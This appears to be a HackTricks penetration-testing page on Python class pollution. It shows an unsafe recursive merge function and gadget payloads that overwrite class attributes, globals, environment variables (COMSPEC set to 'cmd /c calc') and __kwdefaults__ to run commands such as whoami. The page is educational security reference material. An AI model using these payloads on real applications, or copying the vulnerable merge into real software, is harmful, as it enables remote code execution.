261 lines
9.0 KiB
Markdown
261 lines
9.0 KiB
Markdown
|
# Class Pollution (Python's Prototype Pollution)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|||
|
|
|||
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|||
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
## Basic Example
|
|||
|
|
|||
|
Check how is possible to pollute classes of objects with strings:
|
|||
|
|
|||
|
```python
|
|||
|
class Company: pass
|
|||
|
class Developer(Company): pass
|
|||
|
class Entity(Developer): pass
|
|||
|
|
|||
|
c = Company()
|
|||
|
d = Developer()
|
|||
|
e = Entity()
|
|||
|
|
|||
|
print(c) #<__main__.Company object at 0x1043a72b0>
|
|||
|
print(d) #<__main__.Developer object at 0x1041d2b80>
|
|||
|
print(e) #<__main__.Entity object at 0x1041d2730>
|
|||
|
|
|||
|
e.__class__.__qualname__ = 'Polluted_Entity'
|
|||
|
|
|||
|
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
|
|||
|
|
|||
|
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
|
|||
|
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
|
|||
|
|
|||
|
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
|
|||
|
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
|
|||
|
```
|
|||
|
|
|||
|
## Basic Vulnerability Example
|
|||
|
|
|||
|
```python
|
|||
|
# Initial state
|
|||
|
class Employee: pass
|
|||
|
emp = Employee()
|
|||
|
print(vars(emp)) #{}
|
|||
|
|
|||
|
# Vulenrable function
|
|||
|
def merge(src, dst):
|
|||
|
# Recursive merge function
|
|||
|
for k, v in src.items():
|
|||
|
if hasattr(dst, '__getitem__'):
|
|||
|
if dst.get(k) and type(v) == dict:
|
|||
|
merge(v, dst.get(k))
|
|||
|
else:
|
|||
|
dst[k] = v
|
|||
|
elif hasattr(dst, k) and type(v) == dict:
|
|||
|
merge(v, getattr(dst, k))
|
|||
|
else:
|
|||
|
setattr(dst, k, v)
|
|||
|
|
|||
|
|
|||
|
USER_INPUT = {
|
|||
|
"name":"Ahemd",
|
|||
|
"age": 23,
|
|||
|
"manager":{
|
|||
|
"name":"Sarah"
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
merge(USER_INPUT, emp)
|
|||
|
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
|
|||
|
```
|
|||
|
|
|||
|
## Gadget Examples
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Creating class property default value to RCE (subprocess)</summary>
|
|||
|
|
|||
|
```python
|
|||
|
from os import popen
|
|||
|
class Employee: pass # Creating an empty class
|
|||
|
class HR(Employee): pass # Class inherits from Employee class
|
|||
|
class Recruiter(HR): pass # Class inherits from HR class
|
|||
|
|
|||
|
class SystemAdmin(Employee): # Class inherits from Employee class
|
|||
|
def execute_command(self):
|
|||
|
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
|
|||
|
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
|||
|
|
|||
|
def merge(src, dst):
|
|||
|
# Recursive merge function
|
|||
|
for k, v in src.items():
|
|||
|
if hasattr(dst, '__getitem__'):
|
|||
|
if dst.get(k) and type(v) == dict:
|
|||
|
merge(v, dst.get(k))
|
|||
|
else:
|
|||
|
dst[k] = v
|
|||
|
elif hasattr(dst, k) and type(v) == dict:
|
|||
|
merge(v, getattr(dst, k))
|
|||
|
else:
|
|||
|
setattr(dst, k, v)
|
|||
|
|
|||
|
USER_INPUT = {
|
|||
|
"__class__":{
|
|||
|
"__base__":{
|
|||
|
"__base__":{
|
|||
|
"custom_command": "whoami"
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
recruiter_emp = Recruiter()
|
|||
|
system_admin_emp = SystemAdmin()
|
|||
|
|
|||
|
print(system_admin_emp.execute_command())
|
|||
|
#> [!] Executing: "echo Hello there", output: "Hello there"
|
|||
|
|
|||
|
# Create default value for Employee.custom_command
|
|||
|
merge(USER_INPUT, recruiter_emp)
|
|||
|
|
|||
|
print(system_admin_emp.execute_command())
|
|||
|
#> [!] Executing: "whoami", output: "abdulrah33m"
|
|||
|
```
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Polluting other classes and global vars through <code>globals</code> </summary>
|
|||
|
|
|||
|
```python
|
|||
|
def merge(src, dst):
|
|||
|
# Recursive merge function
|
|||
|
for k, v in src.items():
|
|||
|
if hasattr(dst, '__getitem__'):
|
|||
|
if dst.get(k) and type(v) == dict:
|
|||
|
merge(v, dst.get(k))
|
|||
|
else:
|
|||
|
dst[k] = v
|
|||
|
elif hasattr(dst, k) and type(v) == dict:
|
|||
|
merge(v, getattr(dst, k))
|
|||
|
else:
|
|||
|
setattr(dst, k, v)
|
|||
|
|
|||
|
class User:
|
|||
|
def __init__(self):
|
|||
|
pass
|
|||
|
|
|||
|
class NotAccessibleClass: pass
|
|||
|
|
|||
|
not_accessible_variable = 'Hello'
|
|||
|
|
|||
|
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
|
|||
|
|
|||
|
print(not_accessible_variable) #> Polluted variable
|
|||
|
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
|
|||
|
```
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Arbitrary subprocess execution</summary>
|
|||
|
|
|||
|
```python
|
|||
|
import subprocess, json
|
|||
|
|
|||
|
class Employee:
|
|||
|
def __init__(self):
|
|||
|
pass
|
|||
|
|
|||
|
def merge(src, dst):
|
|||
|
# Recursive merge function
|
|||
|
for k, v in src.items():
|
|||
|
if hasattr(dst, '__getitem__'):
|
|||
|
if dst.get(k) and type(v) == dict:
|
|||
|
merge(v, dst.get(k))
|
|||
|
else:
|
|||
|
dst[k] = v
|
|||
|
elif hasattr(dst, k) and type(v) == dict:
|
|||
|
merge(v, getattr(dst, k))
|
|||
|
else:
|
|||
|
setattr(dst, k, v)
|
|||
|
|
|||
|
# Overwrite env var "COMSPEC" to execute a calc
|
|||
|
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
|
|||
|
|
|||
|
merge(USER_INPUT, Employee())
|
|||
|
|
|||
|
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
|
|||
|
```
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Overwritting <strong><code>__kwdefaults__</code></strong></summary>
|
|||
|
|
|||
|
**`__kwdefaults__`** is a special attribute of all functions, based on Python [documentation](https://docs.python.org/3/library/inspect.html), it is a “mapping of any default values for **keyword-only** parameters”. Polluting this attribute allows us to control the default values of keyword-only parameters of a function, these are the function’s parameters that come after \* or \*args.
|
|||
|
|
|||
|
```python
|
|||
|
from os import system
|
|||
|
import json
|
|||
|
|
|||
|
def merge(src, dst):
|
|||
|
# Recursive merge function
|
|||
|
for k, v in src.items():
|
|||
|
if hasattr(dst, '__getitem__'):
|
|||
|
if dst.get(k) and type(v) == dict:
|
|||
|
merge(v, dst.get(k))
|
|||
|
else:
|
|||
|
dst[k] = v
|
|||
|
elif hasattr(dst, k) and type(v) == dict:
|
|||
|
merge(v, getattr(dst, k))
|
|||
|
else:
|
|||
|
setattr(dst, k, v)
|
|||
|
|
|||
|
class Employee:
|
|||
|
def __init__(self):
|
|||
|
pass
|
|||
|
|
|||
|
def execute(*, command='whoami'):
|
|||
|
print(f'Executing {command}')
|
|||
|
system(command)
|
|||
|
|
|||
|
print(execute.__kwdefaults__) #> {'command': 'whoami'}
|
|||
|
execute() #> Executing whoami
|
|||
|
#> user
|
|||
|
|
|||
|
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
|
|||
|
merge(emp_info, Employee())
|
|||
|
|
|||
|
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
|
|||
|
execute() #> Executing echo Polluted
|
|||
|
#> Polluted
|
|||
|
```
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
## References
|
|||
|
|
|||
|
* [https://blog.abdulrah33m.com/prototype-pollution-in-python/](https://blog.abdulrah33m.com/prototype-pollution-in-python/)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|||
|
|
|||
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|||
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|||
|
|
|||
|
</details>
|